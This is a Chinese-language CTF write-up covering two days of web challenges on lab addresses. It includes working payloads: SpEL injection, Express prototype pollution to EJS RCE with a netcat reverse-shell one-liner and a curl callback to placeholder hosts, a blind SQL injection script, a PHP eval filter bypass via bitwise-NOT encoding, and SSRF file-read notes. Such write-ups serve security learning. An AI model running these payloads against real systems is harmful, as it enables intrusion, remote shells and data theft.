前言:2333
Day1
web3
直接访问flag.php就可以了。
感觉预期解应该为:
1 2 3 4 5 6 7 8 9 10 11 12 13
   | POST /huadongbei/cat.php?s1=data://text/plain;base64,Zmlyc3QgYmxvb2Q=&s2=0e215962017&s3=SHELL.TXT HTTP/1.1 Host: 192.168.43.44 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Length: 13 Content-Type: application/x-www-form-urlencoded
  file=flag.php
   | 
 
web4
spel表达式注入
1
   | 1.class. forName("java.nio.file.File").lines(1.class. forName("java.nio.file.Paths").get("/flag.txt")).toArray()[0]
  | 
 

1 2 3 4 5 6 7 8 9 10 11 12
   |  import requests 
  url = "http://172.20.7.104:8080" payload = "1.class.forName(\"java.nio.file.Files\").lines\x00(1.class.forName(\"java.nio.file.Paths\").get\x00(\"/flag.txt\")).toArray()[0]" proxy = {"http":"http://127.0.0.1:8080"} data = {"expr":payload}  headers = {     "Content-Type":"application/x-www-form-urlencoded" } re = requests.post(url, data, headers=headers, proxies=proxy) print(re.content)
 
  | 
 

web7
参考:
Nginx错误配置alias导致目录遍历漏洞

nginx配置出错,可以读文件
1 2 3 4 5 6 7 8 9 10 11 12
   | # /etc/nginx/conf.d/default.conf server {     listen 80;     server_name _;     location /static {         autoindex on;         alias /app/static/;     }     location / { 	    proxy_pass http://127.0.0.1:3000; 	} }
   | 
 
express-upload  原型链污染 –>  ejs模板rce。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
   | POST /4_pATh_y0u_CaNN07_Gu3ss HTTP/1.1 Host: 172.20.7.107 Pragma: no-cache Cache-Control: no-cache Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykhBq9JNmc6ZBCe9M Content-Length: 261
  ------WebKitFormBoundarykhBq9JNmc6ZBCe9M Content-Disposition: form-data; name="__proto__.outputFunctionName";
  _tmp1;global.process.mainModule.require('child_process').exec("cat /flag.txt > aa");var __tmp ------WebKitFormBoundarykhBq9JNmc6ZBCe9M--
   | 
 



1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
   |  import requests
  url = "http://172.20.7.107/4_pATh_y0u_CaNN07_Gu3ss"
  files = {   "__proto__.outputFunctionName" : (None,"_tmp1;global.process.mainModule.require('child_process').exec(\"curl xxxx:6666\");var __tmp") } payload = "_tmp1;global.process.mainModule.require('child_process').exec('rm /tmp/fa;mkfifo /tmp/fa;cat /tmp/fa|/bin/sh -i 2>&1|nc xxx 6666 > /tmp/fa ');var __tmp2" files = {   "__proto__.outputFunctionName" : (None,payload) } proxies = {"http": "http://127.0.0.1:8080","https": "http://127.0.0.1:8080"} re = requests.post(url, files = files, proxies=proxies) print re.text
 
  | 
 
Day2
web2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
   |  import requests
  url="http://172.20.7.102/index.php" proxies = { 		"http": "http://127.0.0.1:8080", 		} flag=""
 
  for i in range(1,13): 	high = 127 	low = 32 	mid = (low + high) // 2	 	while high > low: 		payload = "||ascii(right(password,{}))/**/>/**/{}#" 		payload = payload.format((13-i),mid) 		data = { 			"username":"admin\\", 			"password":payload 		} 		print payload 		r = requests.post(url,data=data,proxies=proxies) 		 		if "error" not in r.text: 			low=mid+1  		else: 			high=mid 		mid=(low+high)//2 	flag+=chr(mid) 	print(flag)
 
  | 
 

登陆
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | <?php error_reporting(0); if(!isset($_GET['gzmtu'])){     highlight_file(__FILE__); }else{     $gzmtu = $_GET['gzmtu'];     if (preg_match('/(f|l|a|g|\.|t|x|\/|;|\"|\'|\`|\||\[|\]|\_|\^|=)/i',$gzmtu)) {         die('forbidden');     }     $blacklist = get_defined_functions()['internal'];     foreach ($blacklist as $blackitem) {         if (preg_match ('/' . $blackitem . '/im', $gzmtu)) {             die('nonono!');         }     }     eval('echo '.$gzmtu.';'); }
   | 
 
取反绕过
1 2
   | http://172.20.7.102/c2ZtdHFs.php?gzmtu=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%9E%98%D1%8B%87%8B) system("cat /flag.txt")
   | 
 

web5
PostgreSQL注入,没做出来。。。。。。
web6
修复是才知道是ssrf,
有一个ssrf.php,据说file:///flag 就可以得到flag